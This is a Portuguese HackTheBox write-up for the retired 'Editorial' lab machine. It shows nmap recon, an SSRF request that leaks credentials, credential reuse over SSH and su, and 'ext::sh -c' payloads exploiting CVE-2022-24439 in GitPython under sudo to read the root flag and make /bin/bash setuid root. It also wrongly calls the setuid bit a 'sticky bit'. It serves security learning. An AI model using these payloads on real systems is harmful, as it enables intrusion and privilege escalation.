」工欲善其事,必先利其器。「—孔子《論語.錄靈公》
首頁 > 程式設計 > HackTheBox - Writeup 社論 [已退休]

HackTheBox - Writeup 社論 [已退休]

發佈於2024-11-05
瀏覽:348

Neste writeup iremos explorar uma máquina easy linux chamada Editorial. Esta máquina explora as seguintes vulnerabilidades e técnicas de exploração:

  • Server-side request forgery (SSRF)
  • Information Leaked
  • Git hacktricks
  • CVE-2022-24439 - Remote Code Execution (RCE)

Recon e user flag

Vamos iniciar realizando uma varredura em nosso alvo a procure de portas abertas utilizando nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight]
└─# nmap -sS --open -Pn 10.129.115.37
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT
Nmap scan report for 10.129.115.37 (10.129.115.37)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Temos a porta 22 rodando o ssh e a porta 80 rodando um servidor http.
Acessando a porta 80 através do ip somos redirecionados para editorial.htb, vamos adicionar esse host em nosso /etc/hosts.

Com isso conseguimos acessar o seguinte conteúdo:

HackTheBox - Writeup Editorial [Retired]

O site se trata de uma editora de livros. Dentre as opções disponíveis encontramos a seguinte página:

HackTheBox - Writeup Editorial [Retired]

Aqui conseguimos enviar livros para que sejam enviados livros para a editora. O envio pode ser feito de duas formas, realizando o upload de um arquivo localmente ou através de uma url.

Ao enviar um arquivo somos redirecionados para um endpoint similar a este:

  • http://editorial.htb/static/uploads/0483497c-293d-44a4-87af-46a85f20cb60 Acessando a url é feito o download do arquivo que enviamos anteriormente em forma de pdf.

Analisando as duas opções encontramos um SSRF ao informar um url local, enviando a seguinte url como payload: http://127.0.0.1:5000

Com isso realizamos o download do arquivo e temos o seguinte conteúdo em formato json:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Aqui temos diversos endpoints que podemos explorar, para isso vamos utilizar o burp suite (que ja esta sendo executado em background) para realizar novas requisições.
Vamos focar inicialmente no endpoint /api/latest/metadata/messages/authors que tem a seguinte função: Retrieve the welcome message sended to our new authors

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452
Content-Length: 401
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------346249403126403154753644150452--

Com isso temos o seguinte retorno:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:31 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 51

static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f

Agora vamos realizar um get request para este endpoint:

GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://editorial.htb/upload

E assim temos o seguinte retorno:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:42 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: close
Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f
Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT
Cache-Control: no-cache
ETag: "1719057211.219647-506-4209449183"

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

Temos novamente um retorno em formato json. Neste temos uma mensagem de boas vindas para novos autores e também um usuário e senha:
Username: dev
Password: dev080217_devAPI!@

Com este usuário e senha conseguimos acesso ssh ao nosso alvo:

┌──(root㉿kali)-[/home/kali]
└─# ssh [email protected]
The authenticity of host 'editorial.htb (10.129.101.138)' can't be established.
ED25519 key fingerprint is SHA256:YR ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7 xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 22 11:54:05 AM UTC 2024

  System load:           0.0
  Usage of /:            60.4% of 6.35GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.129.101.138
  IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$ 

E com este usuário conseguimos a user flag!

dev@editorial:~$ ls -a
.  ..  apps  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
dev@editorial:~$ cat user.txt
389072ccb7be77e63a1590defe01750e

Escalação de privilégios e root flag

No diretório home do usuário dev temos um diretório chamado apps. Acessando este diretório temos o seguinte conteúdo:

dev@editorial:~/apps$ ls -alh
total 12K
drwxrwxr-x 3 dev dev 4.0K Jun  5 14:36 .
drwxr-x--- 4 dev dev 4.0K Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4.0K Jun  5 14:36 .git

Existe somente um diretório chamado .git. O diretório .git registra todas as alterações em um projeto, registrando toda a história do projeto.
Com isso conseguimos visualizar o histórico de commits:

dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app

    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.

Dentre os commits existe o seguinte:

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

Foi feito um downgrade dos dados de produção para desenvolvimento, aqui podemos encontrar informações importantes.
Para visualizar o conteúdo deste commit vamos utilizar o comando git revert, que irá reverter as alterações e voltar o projeto para este commit:

dev@editorial:~/apps$ git revert b73481bb823d2d
Auto-merging app_api/app.py
[master 238ee48] Revert "change(api): downgrading prod to dev"
 1 file changed, 1 insertion( ), 1 deletion(-)
dev@editorial:~/apps$ ls -alh
total 16K
drwxrwxr-x 4 dev dev 4.0K Jun 22 12:10 .
drwxr-x--- 6 dev dev 4.0K Jun 22 12:10 ..
drwxrwxr-x 2 dev dev 4.0K Jun 22 12:10 app_api
drwxr-xr-x 8 dev dev 4.0K Jun 22 12:10 .git
dev@editorial:~/apps$ cd app_api/
dev@editorial:~/apps/app_api$ ls -alh
total 12K
drwxrwxr-x 2 dev dev 4.0K Jun 22 12:10 .
drwxrwxr-x 4 dev dev 4.0K Jun 22 12:10 ..
-rw-rw-r-- 1 dev dev 2.8K Jun 22 12:10 app.py

Temos um arquivo chamdo app.py, vamos visualizar o conteúdo dele:

dev@editorial:~/apps/app_api$ cat app.py
# API (in development).
# * To retrieve info about editorial

import json
from flask import Flask, jsonify

# -------------------------------
# App configuration
# -------------------------------
app = Flask(__name__)

# -------------------------------
# Global Variables
# -------------------------------
api_route = "/api/latest/metadata"
api_editorial_name = "Editorial Tiempo Arriba"
api_editorial_email = "[email protected]"

# -------------------------------
# API routes
# -------------------------------
# -- : home
@app.route('/api', methods=['GET'])
def index():
    data_editorial = {
        'version': [{
            '1': {
                'editorial': 'Editorial El Tiempo Por Arriba',
                'contact_email_1': '[email protected]',
                'contact_email_2': '[email protected]',
                'api_route': '/api/v1/metadata/'
            }},
            {
            '1.1': {
                'editorial': 'Ed Tiempo Arriba',
                'contact_email_1': '[email protected]',
                'contact_email_2': '[email protected]',
                'api_route': '/api/v1.1/metadata/'
            }},
            {
            '1.2': {
                'editorial': api_editorial_name,
                'contact_email_1': '[email protected]',
                'contact_email_2': '[email protected]',
                'api_route': f'/api/v1.2/metadata/'
            }},
            {
            '2': {
                'editorial': api_editorial_name,
                'contact_email': '[email protected]',
                'api_route': f'/api/v2/metadata/'
            }},
            {
            '2.3': {
                'editorial': api_editorial_name,
                'contact_email': api_editorial_email,
                'api_route': f'{api_route}/'
            }
        }]
    }
    return jsonify(data_editorial)

# -- : (development) mail message to new authors
@app.route(api_route   '/authors/message', methods=['GET'])
def api_mail_new_authors():
    return jsonify({
        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, "   api_editorial_name   " Team."
    }) # TODO: replace dev credentials when checks pass

# -------------------------------
# Start program
# -------------------------------
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

Aqui temos endpoints similares ao que encontramos via SSRF inicialmente. A diferença é que os dados de acesso são de outro usuário:

Username: prod
Password: 080217_Producti0n_2023!@

Visualizando os usuários que temos em nosso alvo e que possuem um shell ativo, temos os seguintes usuários:

dev@editorial:~/apps$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

Existe um usuário chamado prod. Podemos utilizar essa nova senha para utilizar este usuário:

dev@editorial:~/apps$ su prod
Password: 
prod@editorial:/home/dev/apps$

Com o novo usuário podemos ver que conseguimos executar um script em python com sudo, o que nos garante permissões de root:

prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

O comando é para executar um script em python que aceita qualquer parâmetro, por conta do asterisco *.
Podemos visualizar o conteúdo do script para ver o que conseguimos executar:

prod@editorial:~$ cd /opt/internal_apps/clone_changes/
prod@editorial:/opt/internal_apps/clone_changes$ ls -alh
total 12K
drwxr-x--- 2 root     prod     4.0K Jun  5 14:36 .
drwxr-xr-x 5 www-data www-data 4.0K Jun  5 14:36 ..
-rwxr-x--- 1 root     prod      256 Jun  4 11:30 clone_prod_change.py
prod@editorial:/opt/internal_apps/clone_changes$ cat clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Não temos permissões para editar o arquivo, somente executar. O script utiliza bibliotecas do python os e sys, que permite executar ações no linux.
O script aceita um parâmetro, para isso é utilizado a lib sys do python.
É feito uma troca de diretório para /opt/internal_apps/clone_changes utilizando a função chdir da lib os do python.

Agora utilizando outra lib do python chamada git é feito um git init, que inicializa um repositório.
O parâmetro que é aceito pelo script deve ser um repositório, para que seja feito um git clone utilizando esta mesma lib git.

Podemos buscar por vulnerabilidades nessa lib, para isso vamos precisar pegar a versão através do pip, que é um gerenciador de pacotes do python:

prod@editorial:/opt/internal_apps/clone_changes$ pip3 list | grep -i git
gitdb                 4.0.10
GitPython             3.1.29

Buscando por vulnerabilidades encontramos a CVE-2022-24439, que se trata de um Remote Code Execution devido a uma validação inadequada do input do usuário.
Esta vulnerabilidade foi relatada pela Snyk, que também disponibilizou uma PoC.

Podemos alterar a poc para ler arquivos como root ou elevar nosso acesso para root.

Para ler arquivos podemos executar o seguinte comando:

prod@editorial:/opt/internal_apps/clone_changes$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /root/root.txt% >% /tmp/root.txt"
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in 
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cat% /root/root.txt% >% /tmp/root.txt new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:/opt/internal_apps/clone_changes$ ls -a /tmp/
.           root.txt                                                                           .Test-unix
..          systemd-private-19d905d0323a421c8583b199cfdbc508-ModemManager.service-k9pcm7       tmux-1001
.font-unix  systemd-private-19d905d0323a421c8583b199cfdbc508-systemd-logind.service-OAF5Lb     vmware-root_793-4248746047
.ICE-unix   systemd-private-19d905d0323a421c8583b199cfdbc508-systemd-resolved.service-LyFZ7m   .X11-unix
pwned       systemd-private-19d905d0323a421c8583b199cfdbc508-systemd-timesyncd.service-Owf84r  .XIM-unix
prod@editorial:/opt/internal_apps/clone_changes$ cat /tmp/root.txt
3b41e79604a2b5ab7a462fe51e4491cc

E assim conseguimos ler a root flag.

Podemos também adicionar o sticky bit no arquivo /bin/bash, desta forma conseguimos ganhar um shell como root. O sticky bit permite que outros usuários possam utilizar o arquivo, ou binário com permissões do dono do arquivo, neste caso é o usuário root. Adicionando no /bin/bash conseguimos um shell como root:

prod@editorial:/home/dev/apps$ stat /bin/bash
  File: /bin/bash
  Size: 1396520         Blocks: 2728       IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 4694        Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-06-23 14:47:02.027998536  0000
Modify: 2024-03-14 11:31:47.000000000  0000
Change: 2024-06-05 14:36:10.952041259  0000
 Birth: 2024-06-04 14:02:32.920041258  0000

prod@editorial:/opt/internal_apps/clone_changes$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c chmod% u s% /bin/bash"
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in 
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod% u s% /bin/bash new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:/opt/internal_apps/clone_changes$ stat /bin/bash
  File: /bin/bash
  Size: 1396520         Blocks: 2728       IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 4694        Links: 1
Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-06-22 09:39:01.331999178  0000
Modify: 2024-03-14 11:31:47.000000000  0000
Change: 2024-06-22 13:54:52.571329190  0000
 Birth: 2024-06-04 14:02:32.920041258  0000
prod@editorial:/opt/internal_apps/clone_changes$ /bin/bash -p
bash-5.1# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)

E assim finalizamos a máquina Editorial!

HackTheBox - Writeup Editorial [Retired]

版本聲明 本文轉載於:https://dev.to/mrtnsgs/hackthebox-writeup-editorial-retired-2pcn?1如有侵犯,請聯絡[email protected]刪除
最新教學 更多>
  • 大批
    大批
    方法是可以在物件上呼叫的 fns 數組是對象,因此它們在 JS 中也有方法。 slice(begin):將陣列的一部分提取到新數組中,而不改變原始數組。 let arr = ['a','b','c','d','e']; // Usecase: Extract till index ...
    程式設計 發佈於2024-12-25
  • 插入資料時如何修復「常規錯誤:2006 MySQL 伺服器已消失」?
    插入資料時如何修復「常規錯誤:2006 MySQL 伺服器已消失」?
    插入記錄時如何解決「一般錯誤:2006 MySQL 伺服器已消失」介紹:將資料插入MySQL 資料庫有時會導致錯誤「一般錯誤:2006 MySQL 伺服器已消失」。當與伺服器的連線遺失時會出現此錯誤,通常是由於 MySQL 配置中的兩個變數之一所致。 解決方案:解決此錯誤的關鍵是調整wait_tim...
    程式設計 發佈於2024-12-25
  • 如何在 PHP 中組合兩個關聯數組,同時保留唯一 ID 並處理重複名稱?
    如何在 PHP 中組合兩個關聯數組,同時保留唯一 ID 並處理重複名稱?
    在 PHP 中組合關聯數組在 PHP 中,將兩個關聯數組組合成一個數組是常見任務。考慮以下請求:問題描述:提供的代碼定義了兩個關聯數組,$array1 和 $array2。目標是建立一個新陣列 $array3,它合併兩個陣列中的所有鍵值對。 此外,提供的陣列具有唯一的 ID,而名稱可能重疊。要求是建...
    程式設計 發佈於2024-12-25
  • 在 Go 中使用 WebSocket 進行即時通信
    在 Go 中使用 WebSocket 進行即時通信
    构建需要实时更新的应用程序(例如聊天应用程序、实时通知或协作工具)需要一种比传统 HTTP 更快、更具交互性的通信方法。这就是 WebSockets 发挥作用的地方!今天,我们将探讨如何在 Go 中使用 WebSocket,以便您可以向应用程序添加实时功能。 在这篇文章中,我们将介绍: WebSoc...
    程式設計 發佈於2024-12-25
  • HTML 格式標籤
    HTML 格式標籤
    HTML 格式化元素 **HTML Formatting is a process of formatting text for better look and feel. HTML provides us ability to format text without us...
    程式設計 發佈於2024-12-24
  • 儘管程式碼有效,為什麼 POST 請求無法擷取 PHP 中的輸入?
    儘管程式碼有效,為什麼 POST 請求無法擷取 PHP 中的輸入?
    解決PHP 中的POST 請求故障在提供的程式碼片段中:action=''而非:action="<?php echo $_SERVER['PHP_SELF'];?>";?>"檢查$_POST陣列:表單提交後使用 var_dump 檢查 $_POST 陣列的內...
    程式設計 發佈於2024-12-24
  • Bootstrap 4 Beta 中的列偏移發生了什麼事?
    Bootstrap 4 Beta 中的列偏移發生了什麼事?
    Bootstrap 4 Beta:列偏移的刪除和恢復Bootstrap 4 在其Beta 1 版本中引入了重大更改柱子偏移了。然而,隨著 Beta 2 的後續發布,這些變化已經逆轉。 從 offset-md-* 到 ml-auto在 Bootstrap 4 Beta 1 中, offset-md-*...
    程式設計 發佈於2024-12-24
  • Java中如何使用Selenium WebDriver高效率上傳檔案?
    Java中如何使用Selenium WebDriver高效率上傳檔案?
    在Java 中使用Selenium WebDriver 上傳文件:詳細指南將文件上傳到Web 應用程式是軟體測試期間的一項常見任務。 Selenium WebDriver 是一種流行的自動化框架,它提供了一種使用 Java 程式碼上傳檔案的簡單方法。然而,重要的是要明白,在 Selenium 中上傳...
    程式設計 發佈於2024-12-24
  • 使用 GNU Emacs 進行 C 語言開發
    使用 GNU Emacs 進行 C 語言開發
    Emacs is designed with programming in mind, it supports languages like C, Python, and Lisp natively, offering advanced features such as syntax highli...
    程式設計 發佈於2024-12-24
  • 如何在 PHP 中列印單引號內的變數?
    如何在 PHP 中列印單引號內的變數?
    無法直接回顯帶有單引號的變數需要在單引號字串中列印變數?直接這樣做是不可能的。 如何在單引號內列印變數:方法1:使用串聯追加 為此,請使用點運算子將變數連接到字串上:echo 'I love my ' . $variable . '.';此方法將變數追加到字串中。 方法 2:使用雙引號或者,在字串並...
    程式設計 發佈於2024-12-24
  • std::vector 與普通數組:何時效能真正重要?
    std::vector 與普通數組:何時效能真正重要?
    std::vector 與普通數組:性能評估雖然人們普遍認為std::vector 的操作與數組類似,但最近的測試對這一概念提出了挑戰。在本文中,我們將研究 std::vector 和普通數組之間的效能差異,並闡明根本原因。 為了進行測試,實施了一個基準測試,其中涉及重複建立和修改大型陣列像素物件。...
    程式設計 發佈於2024-12-24
  • 為什麼雙精確度的小數位數比宣傳的 15 位多?
    為什麼雙精確度的小數位數比宣傳的 15 位多?
    雙精度和小數位精度在電腦程式設計中,雙精度資料型態通常被假定為具有 15 位小數的近似精度。但是,某些數字表示形式(例如 1.0/7.0)在變數內部表示時似乎具有更高的精確度。本文將探討為什麼會發生這種情況,以及為什麼精確度通常被描述為小數點後 15 位左右。 內部表示IEEE 雙精度數有 53 個...
    程式設計 發佈於2024-12-24
  • 箭頭函數中的隱式回傳與明確傳回:何時需要大括號?
    箭頭函數中的隱式回傳與明確傳回:何時需要大括號?
    箭頭函數中的花括號:隱式與明確返回箭頭函數可以用兩種方式編寫:帶或不帶花括號。當大括號不存在時,函數體被認為是“簡潔體”,並且隱式傳回其中的最後一個表達式。 帶有簡潔體的隱式回傳In不帶大括號的範例:state.map(one => oneTodo(one, action))The函數立即傳回...
    程式設計 發佈於2024-12-24
  • 為什麼使用「transform:scale()」後我的文字在 Chrome 中變得模糊?
    為什麼使用「transform:scale()」後我的文字在 Chrome 中變得模糊?
    變換後Chrome 中的文字模糊:scale()在最近的Chrome 更新中,出現了一個特殊問題,即使用CSS 轉換呈現的文字:scale() 屬性顯得模糊。使用以下特定程式碼時已觀察到此問題:@-webkit-keyframes bounceIn { 0% { opacity: 0; ...
    程式設計 發佈於2024-12-24
  • 如何在 GoLang 中實作 MDC 日誌記錄?
    如何在 GoLang 中實作 MDC 日誌記錄?
    GoLang 中的 MDC LoggingJava 的 MDC Logging 依賴線程本地存儲,這在 GoLang 中不可用。然而,透過堆疊中的線程化 Context 可以實現類似的功能。 Java MDC 依賴線程本地存儲,這是 Go 所不具備的。最接近的是透過堆疊線程化 Context,這正在...
    程式設計 發佈於2024-12-23

免責聲明: 提供的所有資源部分來自互聯網,如果有侵犯您的版權或其他權益,請說明詳細緣由並提供版權或權益證明然後發到郵箱:[email protected] 我們會在第一時間內為您處理。

Copyright© 2022 湘ICP备2022001581号-3